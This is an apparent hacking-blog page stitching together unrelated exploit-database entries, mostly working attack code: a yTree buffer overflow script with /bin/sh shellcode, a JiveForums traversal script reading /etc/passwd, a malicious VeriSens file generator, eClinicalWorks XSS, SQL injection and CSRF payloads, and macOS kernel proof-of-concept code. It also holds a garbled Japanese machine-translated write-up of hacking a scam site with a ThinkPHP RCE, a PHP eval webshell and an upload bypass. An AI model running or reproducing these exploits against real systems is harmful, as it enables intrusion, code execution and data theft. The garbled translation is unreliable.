Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863594876

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Author: Juan Sacco - http://www.exploitpack.com -jsacco@exploitpack.com
# Program affected: yTree - File manager for terminals v1.94-1.1
# Description: yTree is prone to a stack-based overflow, an attacker could exploit 
# this issue to execute arbitrary code in the context of the application. 
# Failed exploit attempts will result in a denial-of-service condition.
#
# Tested and developed on:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Program Description: This is a file manager that separates files from directories
# and allows you to select and manage files from different directories.  
# It works on black and white or color terminals and is UTF-8 locales aware.
# Vendor homepage: http://www.han.de/~werner/ytree.html
# Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb
# MD5sum: 7d55d9c7e8afb4405c149463613f596b
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x41414141  EBX: 0xB7FB8000  ECX: 0x00000000  EDX: 0x08071342  o d I t s z a P c 
#   ESI: 0xBFFFF134  EDI: 0x41414141  EBP: 0x0806FC60  ESP: 0xBFFFDC50  EIP: 0xB7F888C1
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
# --------------------------------------------------------------------------[code]
# => 0xb7f888c1 <werase+49>: mov    eax,DWORD PTR [eax+0x4c]
#    0xb7f888c4 <werase+52>: mov    DWORD PTR [esp+0x24],eax
#    0xb7f888c8 <werase+56>: mov    eax,DWORD PTR [edi+0x50]
#    0xb7f888cb <werase+59>: mov    DWORD PTR [esp+0x28],eax
#    0xb7f888cf <werase+63>: mov    eax,DWORD PTR [edi+0x54]
#    0xb7f888d2 <werase+66>: mov    DWORD PTR [esp+0x2c],eax
#    0xb7f888d6 <werase+70>: mov    eax,DWORD PTR [edi+0x58]
#    0xb7f888d9 <werase+73>: mov    DWORD PTR [esp+0x30],eax
# --------------------------------------------------------------------------------
# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# gdb$ backtrace 
# 0  0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# 1  0x08050f43 in ?? ()
# 2  0x08051182 in ?? ()
# 3  0x0805972f in ?? ()
# 4  0x0804a68a in ?? ()
# 5  0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2, argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287
# 6  0x0804a701 in ?? ()
 
import os,subprocess
def run():
  try:
    print "# yTree Buffer Overflow by Juan Sacco"
    print "# It's fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP
 
    junk = "\x41"*65
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*1200
    eip = "\xd0\xf6\xff\xbf"
    subprocess.call(["ytree",' ', junk + shellcode + nops + eip])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, yTree not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit yTree v1.94-1.1 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
            
'''
JiveForums <=5.5.25 Directory Traversal Vulnerability

Description
==========
Jive forums is a widely recognized network community. Its products have been used by global IT giants including IBM, HP, Oracle, Adobe, Cisco, Intel, Amazon, Emc, Mcafee, Rapid7, Fireeye, etc.
The version of JiveForums <=5.5.25 and < 4.0 are vulnerable to a directory traversal security issue, other versions may also be affected.

Details
=======
Product: JiveSoftware
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: https://www.jivesoftware.com

Credits
============
Discovered by: Zhaohuan of Tencent Security
Site: http://security.tencent.com

Affected Products:
=================
Test on  JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
maybe work <= 5.5.25

Exploit:
============
'''

#!/usr/bin/python
# Author: Zhaohuan || http://weibo.com/hackyou
# Google Dork: inurl:servlet/JiveServlet
# Tested on JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
#
# Software Link: https://www.jivesoftware.com

import urllib2
import sys

print "JiveForums <=5.5.25 Directory Traversal Exploit"

if len(sys.argv) != 3:
    print "[-] Trying exploit on : <site> <path>"
    print "[*] Usage: %s http://localhost /jiveforums/" % sys.argv[0]
    sys.exit()

payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg'
print "[+] Trying to request :"+sys.argv[1]+sys.argv[2]+payload
response=urllib2.urlopen(sys.argv[1]+sys.argv[2]+payload)
readvul=response.read()
print readvul


'''
Solution:
============
Update to jiveforums 5.5.30 or the latest version.

More Information:
https://www.jivesoftware.com/services-support/
'''
            
#############################
Exploit Title : Timeclock-software - Multiple SQL injections
Author:Marcela Benetrix
Date: 01/27/2016
version: 0.995 (older version may be vulnerable too)
software link:http://timeclock-software.net

#############################
Timeclock software

Timeclock-software.net's free software product will be a simple solution to
allow your employees to record their time in one central location for easy
access.

##########################
SQL Injection Location

1. http://server/login.php
username and password were vulnerable to time-based blind sql injection
type.

Moreover, once logged into the app; the following URLs were found to be
vulnerable too:

2. http://server/view_data.php?period_id
3. http://server/edit_type.php?type_id=
4. http://server/edit_user.php?user_id=
5. http://server/edit_entry.php?time_id=

All of them are vulnerable to Union query and time-based blind.


##########################
Vendor Notification
01/27/2016 to: the developers. They replied immediately and fixed the
problem in a new release
002/03/2016: Disclosure
            
#!/usr/bin/env python
#
#
# Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability
#
#
# Vendor: Baumer Holding AG | Baumer Optronic GmbH
# Product web page: http://www.baumer.com
# Software link: http://www.baumer.com/us-en/products/identification-image-processing/software-and-starter-kits/verisens-application-suite/
# Affected version: 2.6.2 (ID-CS-XF-XC)
#
# Summary: The Baumer Application Suite is the intuitive configuration
# software for VeriSens vision sensors, which makes it quick and simple
# for even new users to implement image processing tasks. Starting with
# the creation of test tasks through to the management of jobs, the program
# will take you through just a few steps to reach your goal.
#
# Desc: The vulnerability is caused due to a boundary error in baselibs.dll
# library when processing device job file, which can be exploited to cause
# a buffer overflow when a user opens e.g. a specially crafted .APP file.
# Successful exploitation could allow execution of arbitrary code on the
# affected machine.
#
# -------------------------------------------------------------------------
# (78c.cb0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Exported symbols for C:\Program Files (x86)\Baumer\VeriSens Application Suite v2.6.2\AppSuite\baselibs.dll - 
# eax=4d81ab45 ebx=4d81ab45 ecx=41414141 edx=41414141 esi=4d81ab45 edi=0c17e010
# eip=56bc4186 esp=0040a020 ebp=0040a020 iopl=0         nv up ei pl nz na po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
# baselibs!b_Int_restore+0x6:
# 56bc4186 8b00            mov     eax,dword ptr [eax]  ds:002b:4d81ab45=????????
# 0:000> u
# baselibs!b_Int_restore+0x6:
# 56bc4186 8b00            mov     eax,dword ptr [eax]
# 56bc4188 8bc8            mov     ecx,eax
# 56bc418a 8bd0            mov     edx,eax
# 56bc418c c1ea18          shr     edx,18h
# 56bc418f c1f908          sar     ecx,8
# 56bc4192 81e100ff0000    and     ecx,0FF00h
# 56bc4198 0bca            or      ecx,edx
# 56bc419a 8bd0            mov     edx,eax
# 0:000> dds
# 56bc6b86  00107d80
# 56bc6b8a  8b117457
# 56bc6b8e  f0e181cb
# 56bc6b92  e8000000
# 56bc6b96  fffff9e6
# 56bc6b9a  02ebf88b
# 56bc6b9e  ff85fa8b
# 56bc6ba6  68000001
# 56bc6baa  56c2afa4 baselibs!VsInfoFeed::Listener::`vftable'+0xb154
# 56bc6bae  3f8ce857
# 56bc6bb2  c483ffff
# 56bc6bb6  75c0850c USER32!SetKeyboardState+0x705a
# 56bc6bba  325b5f07
# -------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5303
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5303.php
#
#
# 14.11.2015
#

header = ("\x00\x00\x00\x01\x00\x00\x00\x04\x95\xCF\x82\xF6\x00\x00\x00"
          "\x01\x00\x00\x00\x04\x00\x00\x00\x2B\x00\x00\x00\x50\x00\x00"
          " \x00\x05\x43\x6F\x64\x65\x00\x00\x00\x00\x50\x00\x00\x00\x01"
          "\x00\x00\x00\x00\x50\x00\x00\x00") #\x0F

buffer = "\x41" * 6719 + "\x42\x42\x42\x42"
 
f = open ("exploit.app", "w")
f.write(header + buffer +'\x0F')
f.close()
print "File exploit.app created!\n"

#
# PoC: http://www.zeroscience.mk/codes/bvas-5303.app.zip
#          https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39403.zip
#
            

最近、詐欺ギャング1049983-20211227103702326-233361545.pngを調査するタスクを受け取りました

上記の登録インターフェイスがあります。最初にユーザーを直接登録して、彼らがどのように不正行為をしたかを確認できます。1049983-20211227103703110-1655912104.png 1049983-20211227103704074-1851847470.png

良い男、ユーザーは8億元を獲得し、充電したユーザーは自分自身を専門家と呼びます。

一見、この種のサイトは、詐欺ギャングの豚を殺すディスクです。 TP5フレームワークを使用して、ワンクリックで構築します。これは便利でトラブルがありません。その後、エラーメッセージによると、TP5.0.10のフレームワークは実際にデバッグモードであり、それは豚を殺すゲームでした。1049983-20211227103704858-1143855449.png

tp5rceを使用して、最初にphpinfoと入力してください

S=Captcha

_method=__ constructmethod=getFilter []=call_user_funcget []=phpinfo 1049983-20211227103705633-1521946100.png

多くの禁止機能があるようです。現時点では、TP5 RCEとセッションでシェルを書くことがより困難です。 TP5ログの包含とセッションインクルージョンをGootshellに使用するのは非常に便利です。

ログ内にファイルを見つける必要があります。セッションを直接GOTSHELLに含めます。

まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す

?s=captcha

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?php eval($ _ post ['x'])?server []=1 1049983-20211227103706192-1269749532.png

次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はsession_sessionidです

?s=captcha

_method=__ constructmethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3x=phpinfo();1049983-20211227103706698-1418160615.png

この時点で、私たちはアリの剣を介してシェルに接続することができます

Ant Sword 1049983-20211227103707160-1650808676.pngで接続されたHTTPボディに投稿に渡されたパラメーターを追加する必要があります

接続後、config 1049983-20211227103707597-723619312.pngの下でデータベース.phpを見つけてデータベースパスワードアカウントを見つけます

財務および技術的な連絡先情報もあります1049983-20211227103708040-1118353427.png

バックグラウンド1049983-20211227103708485-369596453.pngに直接ログインします

いい男、30人のメンバーと400を超えるロボットがいます。金額はバックグラウンドで自由に変更できます。いじめが多すぎます。1049983-20211227103708913-1964134681.png

私はいつも、ここに電話した後、情報が少し小さすぎると感じています。詐欺ギャングが支払いを集めるために使用される携帯電話番号と銀行カードはわずかです。そこで、操作サイトで情報を収集しました。カスタマーサービスサイトは他のサーバー上にあることが判明しました。1049983-20211227103709361-1280484632.png

1049983-20211227103710157-1775869194.pngのディレクトリスキャンを介してカスタマーサービスの背景を見つけます

私は弱いパスワードを試してみましたが、ユーザー管理者さえいないことがわかりました。管理者はそれをよく知っています。

私は大切な辞書を取り出して破裂させましたが、既存のユーザーは見つかりませんでした。彼のユーザー名は電話番号または非常に長いユーザー名のいずれかだと思います。

背景を入力しても大丈夫ではないようです

その後、IPカウンターチェックを通じて、サイドステーションがなく、このサイトにはこのカスタマーサービスシステムのみがあることがわかりました。

ドメイン名をスキャンして、何も見つかりませんでした

ただし、ページの下には、AIカスタマーサービスPHPオンラインカスタマーサービスシステムが搭載されています。インターネットにソースコードがあるべきだと思うので、私はバイドゥに行き、本当にソースコードを持っています。1049983-20211227103711090-1473905400.png

ウェブサイトはTPセカンダリーに基づいて開発されていますが、TPのRCEはなくなりました。

ステップごとの監査は1つだけです

長い間検索した後、アプリケーション/管理者/コントローラー/event.phpファイルでブラックリストベースのアップロード機能uploadimg 1049983-20211227103711514-1594589625.pngを見つけました。

アップロード関数アップロードImgを定義し、ファイル名を取得する変数名を定義し、配列内のドットで分離し、検出として変数extを介して2番目の配列を取得します。ファイルがindex.htmlに渡されると、$ ext=html、htmlがブラックリストに含まれるため、アップロードは失敗します。ファイルがindex.jpg.php、$ ext=jpgに渡された場合、jpgはブラックリストに含まれていないため、正常にアップロードできます。

TPのルーティングルールによると、このアップロードポイントは/admin/event/uploadimgに配置する必要があります。

このページにアップロードポイントはありません。アップロードページを単独で構築するだけです

form action='http://ip/admin/event/uploadimg' method='post' enctype='multipart/form-data'

ラベル='file'chenguangカスタマーサービスのアップロード/ラベル

入力型='ファイル' name='editormd-image-file' id='editormd-image-file'

入力タイプ='送信' name='送信'値='送信'

/形状

index.php 1049983-20211227103712399-1033711018.pngをアップロードする場合

アップロードが失敗したことは事実です

index.jpg.php 1049983-20211227103712871-1961858419.pngをアップロードしている場合

正常にアップロードできます

カスタマーサービスサイト1049983-20211227103713396-2068556697.pngをご覧ください

jcに背景データをパッケージします

ここでは、秩序あるブラシを信じないようにみんなに促したいと思います。充電するように頼む人はお金を得ることができます。それらはすべて偽物です。一晩で金持ちになり、何かを利用することを考えないでください。世界には無料のランチはありません。1049983-20211227103713950-1759251530.png 1049983-20211227103714416-1909182695.png 1049983-20211227103714889-1568574889.pngをご覧ください。

これらの詐欺ギャングは正当化され、よく根付いており、ますます多くを埋めるように頼むだけです。彼らは典型的な豚を殺すゴミです

侵入概要:

1.テストアカウントを登録します

2エラーが報告された後、TP5.0.10であることがわかった

3. tp5rceを使用してphpinfoを表示します

S=Captcha

Post:

_method=__ constructmethod=getFilter []=call_user_funcget []=phpinfo

ハザード関数は無効になっていることがわかりました

4.TP5ログ包含とセッションインクルージョンをゲッシェルに使用します

5.セッションセッションを設定して、テンテンショントロイの木馬に渡す

?s=captcha

役職:

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['x'])?server []=1

6.ファイルを使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はsession_sessionidです

?s=captcha

役職:

_method=__ constructmethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3x=phpinfo();

7.アリの剣を通してシェルを接続し、ポストに渡されたパラメーターをアリの剣で接続されたHTTPボディに追加します。

8。バックグラウンドソースコードを使用して、カスタマーサービスの背景を発見します。

9.サービスの背景はAIカスタマーサービスPHPオンラインカスタマーサービスシステムであり、システムにファイルアップロードの脆弱性があることがわかりました。

/admin/event/uploadimg

form action='http://ip/admin/event/uploadimg' method='post' enctype='multipart/form-data'

ラベル='file'chenguangカスタマーサービスのアップロード/ラベル

入力型='ファイル' name='editormd-image-file' id='editormd-image-file'

入力タイプ='送信' name='送信'値='送信'

/形状

オリジナルリンク:https://xz.aliyun.com/t/9286

# Title: eClinicalWorks (CCMR) - Multiple Vulnerabilities
# Vendor: https://www.eclinicalworks.com
# Product: eClinicalWorks Population Health (CCMR) Client Portal Software 
# URL: https://www.eclinicalworks.com/products-services/population-health-ccmr/
# Credit: Jerold Hoong

-------------------------------------

# CVE-2015-4591 CROSS-SITE SCRIPTING
Cross-site scripting (XSS) vulnerability in login.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary javascript via the strMessage parameter.

https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/login.jsp?strMessage=
%3Cimg%20src=/%20onerror=%22alert%28document.cookie%29%22/%3E

-------------------------------------

# CVE-2015-4592 SQL INJECTION
SQL injection vulnerability in portalUserService.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary malicious database commands as part of user input.

Parameter: uemail (POST PARAMETER)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=

POST /mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp HTTP/1.1
Host: 127.0.0.1:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/dashBoard.jsp
Content-Length: 186
[SNIP] ...
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
[SNIP] ...

action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=

-------------------------------------

# CVE-2015-4593 CROSS-SITE REQUEST FORGERY
Cross-site request forgery (CSRF) vulnerability in portalUserService.jsp in eClinicalWorks 
Client Portal allows remote attackers to hijack the authentication of content administrators
for requests that could lead to the creation, modification and deletion of users, appointments
and employees.

# ADDING OF USER
<html>
  <body>
    <form action="https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp" method="POST">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="uid" value="0" />
      <input type="hidden" name="createdOver" value="1" />
      <input type="hidden" name="ufname" value="John" />
      <input type="hidden" name="ulname" value="Doe" />
      <input type="hidden" name="uminitial" value="" />
      <input type="hidden" name="selUserType" value="1" />
      <input type="hidden" name="status" value="0" />
      <input type="hidden" name="upaddress" value="" />
      <input type="hidden" name="upcity" value="" />
      <input type="hidden" name="upstate" value="" />
      <input type="hidden" name="zipcode" value="" />
      <input type="hidden" name="uemail" value="johndoe@test.com.de" />
      <input type="hidden" name="upphone" value="98999299" />
      <input type="hidden" name="umobileno" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

-------------------------------------

# CVE-2015-4594 SESSION FIXATION
The web application is vulnerable to session fixation attacks. When authenticating a user
the application does not assign a new session ID, making it possible to use an existent
session ID.

-------------------------------------

# TIMELINE
– 16/06/2015: Vulnerability found
– 16/06/2015: Vendor informed
– 16/06/2015: Request for CVE IDs
- 16/06/2015: MITRE issued CVE numbers
– 16/06/2015: Vendor responded requesting more information on support contract etc
- 21/06/2015: No support contract, vendor does not open case
- 22/06/2015: Requested update from vendor, no response
- 01/07/2015: Contacted vendor again, vendor requested for support contract again
- 02/07/2015: No support contract, no response from vendor
– 31/01/2016: Public disclosure
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=511

Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :)
*/

/* ianbeer
clang -o iohdix iohdix.c -framework IOKit
Integer Overflow in IOHDIXControllerUserClient::convertClientBuffer leading to undersized kalloc allocation passed to DMA code

Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads
a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to
by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size,
casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can
cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel
heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer
in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized
kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail somewhere inside that DMA code
as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of
that allowing us to actually overwrite stuff :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(){
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IOHDIXController");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);

  void* mem = malloc(0x100000000);
  uint64_t msg[0x100/8] = {0};
  msg[0] = 0xbeeffeed; // +0x00
  msg[1] = (uint64_t)mem;
  msg[2] = 0xffffffff; // +0x10

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  //char inputStruct[4096];
  //size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4;

  // create a queue
  err = IOConnectCallMethod(
    conn,
    0x5,
    inputScalar,
    inputScalarCnt,
    msg,
    0x100,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (err != KERN_SUCCESS){
    printf("IOConnectCall error: %x\n", err);
    return 0;
  }


  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=512

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

// ianbeer

// build:clang -o client_connect client_connect.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Failure to check return value of OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient leads to
kernel address space layout leak and exploitable NULL dereference

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
